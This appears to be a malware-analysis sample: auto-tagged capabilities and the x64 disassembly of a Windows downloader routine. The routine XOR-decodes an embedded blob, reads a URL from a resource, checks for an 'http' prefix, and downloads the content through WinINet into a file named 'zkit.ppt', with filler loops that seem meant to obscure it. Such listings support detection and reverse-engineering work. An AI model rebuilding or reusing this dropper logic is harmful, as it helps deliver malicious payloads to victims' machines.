Function at 0x14000d630
Capabilities:
Create http request
Download and write a file
Encode data using xor
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4f8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x460], xmm6
mov qword [rbp + 0x458], 0xfffffffffffffffe
stmxcsr dword [rbp - 0x40]
or dword [rbp - 0x40], 0x8040
ldmxcsr dword [rbp - 0x40]
call fcn.140008190
mov qword [rbp + 0x3d0], 0
mov qword [rbp + 0x3e0], 0
mov qword [rbp + 0x3e8], 0xf
mov byte [rbp + 0x3d0], 0
lea rdx, str.zkit.ppt
lea rsi, [rbp + 0x3d0]
mov r8d, 8
mov rcx, rsi
call fcn.140008920
lea rcx, [rbp - 0x40]
mov rdx, rsi
mov r8d, 1
call fcn.140008ed0
lea rcx, [rbp - 0x30]
mov rax, qword [rbp - 0x40]
mov rdi, qword [rbp + 0x50]
lea rsi, [rbp + 0x70]
movsxd rax, dword [rax + 4]
lea rdx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax - 0x40], rdx
mov rax, qword [rbp - 0x40]
movsxd rax, dword [rax + 4]
lea edx, [rax - 0xb0]
mov dword [rbp + rax - 0x44], edx
call fcn.140009c80
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x70], rax
mov rcx, rsi
call fcn.140012fdc
lea rbx, str.909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
mov rax, 0xffffffffffffffb0
test rdi, rdi
je 0x14000d7c3
movaps xmm0, xmmword [0x1400300b0]
nop
movaps xmm1, xmmword [rax + rbx + 0x50]
xorps xmm1, xmm0
movaps xmmword [rax + rbx + 0x50], xmm1
movaps xmm1, xmmword [rax + rbx + 0x60]
xorps xmm1, xmm0
movaps xmmword [rax + rbx + 0x60], xmm1
movaps xmm1, xmmword [rax + rbx + 0x70]
xorps xmm1, xmm0
movaps xmmword [rax + rbx + 0x70], xmm1
movaps xmm1, xmmword [rax + rbx + 0x80]
xorps xmm1, xmm0
movaps xmmword [rax + rbx + 0x80], xmm1
movaps xmm1, xmmword [rax + rbx + 0x90]
xorps xmm1, xmm0
movaps xmmword [rax + rbx + 0x90], xmm1
add rax, 0x50
cmp rax, 0xeb0
jb 0x14000d730
xor byte [0x140039110], 0xfe
call fcn.140008190
call fcn.14000ca30
call fcn.14000d460
lea rcx, str.Init_Load_Config_File...
call fcn.14000cab0
call fcn.14000ce40
xor esi, esi
lea rcx, [rbp + 0x3d0]
call fcn.14000baf0
jmp 0x14000e045
movaps xmm6, xmmword [0x1400300b0]
nop word [rax + rax]
movaps xmm0, xmmword [rax + rbx + 0x50]
xorps xmm0, xmm6
movaps xmmword [rax + rbx + 0x50], xmm0
movaps xmm0, xmmword [rax + rbx + 0x60]
xorps xmm0, xmm6
movaps xmmword [rax + rbx + 0x60], xmm0
movaps xmm0, xmmword [rax + rbx + 0x70]
xorps xmm0, xmm6
movaps xmmword [rax + rbx + 0x70], xmm0
movaps xmm0, xmmword [rax + rbx + 0x80]
xorps xmm0, xmm6
movaps xmmword [rax + rbx + 0x80], xmm0
movaps xmm0, xmmword [rax + rbx + 0x90]
xorps xmm0, xmm6
movaps xmmword [rax + rbx + 0x90], xmm0
add rax, 0x50
cmp rax, 0xeb0
jb 0x14000d7d0
xor byte [0x140039110], 0xfe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [rbp - 0x40]
mov rcx, rax
mov edx, 0x65
mov r9d, 0x100
call qword [sym.imp.USER32.dll_LoadStringW]
mov qword [rbp + 0x418], 0
test eax, eax
jle 0x14000d90c
mov qword [rbp + 0x428], 0
mov qword [rbp + 0x430], 7
mov word [rbp + 0x418], 0
lea rcx, [rbp - 0x40]
call sub.msvcrt.dll_wcslen
mov rsi, rax
cmp rax, 7
jbe 0x14000d92d
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
jae 0x14000e0b2
mov rax, rsi
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x14000e0ad
cmp rax, 0xb
mov r14d, 0xa
cmovae r14, rax
lea rcx, [r14 + r14]
cmp rax, 0x7ff
jb 0x14000d956
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x14000e0ad
add rcx, 0x29
call fcn.140013c3c
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000d962
mov qword [rbp + 0x430], 7
mov qword [rbp + 0x428], 0
mov word [rbp + 0x418], 0
jmp 0x14000d98f
mov qword [rbp + 0x428], rsi
mov r8, rsi
add r8, rsi
lea rcx, [rbp + 0x418]
lea rdx, [rbp - 0x40]
call fcn.14000eac0
mov word [rbp + rsi*2 + 0x418], 0
jmp 0x14000d98f
add rcx, 2
call fcn.140013c3c
mov rdi, rax
mov qword [rbp + 0x428], rsi
mov qword [rbp + 0x430], r14
mov r8, rsi
add r8, rsi
lea rdx, [rbp - 0x40]
mov rcx, rdi
call fcn.14000eac0
mov word [rdi + rsi*2], 0
mov qword [rbp + 0x418], rdi
mov rdi, qword [rbp + 0x428]
cmp qword [rbp + 0x430], 8
jb 0x14000d9a9
mov r14, qword [rbp + 0x418]
jmp 0x14000d9b0
lea r14, [rbp + 0x418]
mov qword [rbp + 0x438], 0
mov qword [rbp + 0x448], 0
mov qword [rbp + 0x450], 0xf
mov byte [rbp + 0x438], 0
cmp rdi, 0x10
jb 0x14000da1d
test rdi, rdi
js 0x14000e0a8
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov esi, 0x16
cmovae rsi, rax
cmp rax, 0xfff
jb 0x14000da24
lea rcx, [rsi + 0x28]
call fcn.140013c3c
mov rcx, rax
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000da2d
test rdi, rdi
jne 0x14000da49
jmp 0x14000da76
lea rcx, [rsi + 1]
call fcn.140013c3c
mov qword [rbp + 0x450], rsi
mov byte [rax], 0
mov qword [rbp + 0x438], rax
mov qword [rbp + 0x448], 0
add rdi, rdi
xor r15d, r15d
lea rsi, [rbp + 0x438]
nop word cs:[rax + rax]
movzx edx, byte [r14 + r15]
mov rcx, rsi
call fcn.140008c60
add r15, 2
cmp rdi, r15
jne 0x14000da60
lea rsi, [rbp + 0x438]
mov rcx, rsi
call fcn.14000e480
call fcn.14000ce40
mov rax, qword [rbp + 0x448]
test rax, rax
je 0x14000dbc4
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
cmp rax, 4
mov r8d, 4
cmovb r8, rax
cmp qword [rbp + 0x450], 0x10
jb 0x14000dad5
mov rsi, qword [rbp + 0x438]
lea rdi, [rbp - 0x40]
mov rcx, rdi
mov rdx, rsi
call fcn.140008920
mov rax, qword [rbp - 0x28]
cmp qword [rbp - 0x30], 4
jne 0x14000ddbb
cmp rax, 0x10
jb 0x14000dafd
mov rdi, qword [rbp - 0x40]
cmp dword [rdi], 0x70747468
sete sil
cmp rax, 0x10
jae 0x14000ddc7
test sil, sil
je 0x14000de05
call fcn.14000ca30
call fcn.14000d460
lea rcx, str.Init_Load_Config_File..
call fcn.14000cab0
call fcn.14000ce40
call fcn.140008190
mov qword [rbp + 0x3f0], 0
mov qword [rbp + 0x400], 0
mov qword [rbp + 0x408], 0xf
mov byte [rbp + 0x3f0], 0
lea rdx, str.zkit.ppt
lea rbx, [rbp + 0x3f0]
mov r8d, 8
mov rcx, rbx
call fcn.140008920
mov dword [rsp + 0x20], 0
lea rcx, str.Download
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenW]
test rax, rax
je 0x14000df62
mov r14, rax
cmp qword [rbp + 0x450], 0x10
jb 0x14000de47
mov rdx, qword [rbp + 0x438]
jmp 0x14000de4e
mov rax, 0xffffffffffffffb0
nop dword [rax + rax]
movaps xmm0, xmmword [rax + rbx + 0x50]
xorps xmm0, xmm6
movaps xmmword [rax + rbx + 0x50], xmm0
movaps xmm0, xmmword [rax + rbx + 0x60]
xorps xmm0, xmm6
movaps xmmword [rax + rbx + 0x60], xmm0
movaps xmm0, xmmword [rax + rbx + 0x70]
xorps xmm0, xmm6
movaps xmmword [rax + rbx + 0x70], xmm0
movaps xmm0, xmmword [rax + rbx + 0x80]
xorps xmm0, xmm6
movaps xmmword [rax + rbx + 0x80], xmm0
movaps xmm0, xmmword [rax + rbx + 0x90]
xorps xmm0, xmm6
movaps xmmword [rax + rbx + 0x90], xmm0
add rax, 0x50
cmp rax, 0xeb0
jb 0x14000dbd0
xor byte [0x140039110], 0xfe
call fcn.140008190
call fcn.140008190
call fcn.140008190
mov esi, 1
jmp 0x14000dc57
call fcn.140008190
inc esi
call fcn.140008190
cmp esi, 1
jbe 0x14000dc50
cmp esi, 2
jne 0x14000dc55
call fcn.140008190
mov esi, 1
jmp 0x14000dc87
call fcn.140008190
inc esi
call fcn.140008190
cmp esi, 2
jbe 0x14000dc80
cmp esi, 3
jne 0x14000dc85
call fcn.140008190
mov esi, 1
jmp 0x14000dcb7
call fcn.140008190
inc esi
call fcn.140008190
cmp esi, 3
jbe 0x14000dcb0
cmp esi, 4
jne 0x14000dcb5
call fcn.140008190
mov esi, 1
jmp 0x14000dce7
call fcn.140008190
inc esi
call fcn.140008190
cmp esi, 4
jbe 0x14000dce0
cmp esi, 5
jne 0x14000dce5
call fcn.140008190
mov esi, 1
jmp 0x14000dd17
call fcn.140008190
inc esi
call fcn.140008190
cmp esi, 5
jbe 0x14000dd10
cmp esi, 6
jne 0x14000dd15
call fcn.140008190
mov esi, 1
jmp 0x14000dd47
call fcn.140008190
inc esi
call fcn.140008190
cmp esi, 6
jbe 0x14000dd40
cmp esi, 7
jne 0x14000dd45
call fcn.140008190
mov esi, 1
jmp 0x14000dd77
call fcn.140008190
inc esi
call fcn.140008190
cmp esi, 7
jbe 0x14000dd70
cmp esi, 8
jne 0x14000dd75
call fcn.140008190
mov esi, 1
jmp 0x14000dda7
call fcn.140008190
inc esi
call fcn.140008190
cmp esi, 8
jbe 0x14000dda0
cmp esi, 9
jne 0x14000dda5
jmp 0x14000dfb3
xor esi, esi
cmp rax, 0x10
jb 0x14000db11
mov rcx, qword [rbp - 0x40]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000ddf7
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000e0a3
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140013c80
test sil, sil
jne 0x14000db1a
call fcn.14000ca30
call fcn.14000d460
lea rcx, str.Init_Load_Config_File
call fcn.14000cab0
call fcn.14000ce40
call fcn.140008190
lea rcx, [rbp + 0x438]
call fcn.14000e480
call fcn.14000ce40
lea rcx, [rbp + 0x438]
call fcn.14000baf0
jmp 0x14000dfb3
lea rdx, [rbp + 0x438]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov rcx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
je 0x14000df46
mov rdi, rax
cmp qword [rbp + 0x408], 0x10
jb 0x14000de8b
mov rbx, qword [rbp + 0x3f0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
mov rcx, rbx
mov edx, 0x40000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x14000df51
mov rbx, rax
mov qword [rbp + 0x3c8], r14
lea r14, [rbp - 0x40]
lea r15, [rbp + 0x414]
mov r13, qword [sym.imp.WININET.dll_InternetReadFile]
lea r12, [rbp + 0x3c4]
mov rsi, qword [sym.imp.KERNEL32.dll_WriteFile]
nop dword [rax]
mov rcx, rdi
mov rdx, r14
mov r8d, 0x400
mov r9, r15
call r13
test eax, eax
je 0x14000df28
mov r8d, dword [rbp + 0x414]
test r8d, r8d
je 0x14000df28
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, r14
mov r9, r12
call rsi
jmp 0x14000def0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call rsi
mov rcx, qword [rbp + 0x3c8]
jmp 0x14000df60
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000df62
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call rsi
mov rcx, r14
call rsi
lea rcx, [rbp + 0x3f0]
call fcn.14000baf0
mov rax, qword [rbp + 0x408]
cmp rax, 0x10
jb 0x14000dfb3
mov rcx, qword [rbp + 0x3f0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000dfae
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000e0a3
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140013c80
mov rax, qword [rbp + 0x450]
cmp rax, 0x10
jb 0x14000dff8
mov rcx, qword [rbp + 0x438]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000dff3
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000e0a3
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140013c80
mov rax, qword [rbp + 0x430]
cmp rax, 8
jb 0x14000e040
mov rcx, qword [rbp + 0x418]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14000e03b
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000e0a3
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140013c80
mov esi, 1
mov rax, qword [rbp + 0x3e8]
cmp rax, 0x10
jb 0x14000e086
mov rcx, qword [rbp + 0x3d0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000e081
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000e0a3
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140013c80
mov eax, esi
movaps xmm6, xmmword [rbp + 0x460]
add rsp, 0x4f8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.14001a1c0
call fcn.140008ac0
call fcn.140008ae0
call fcn.140008ac0
int3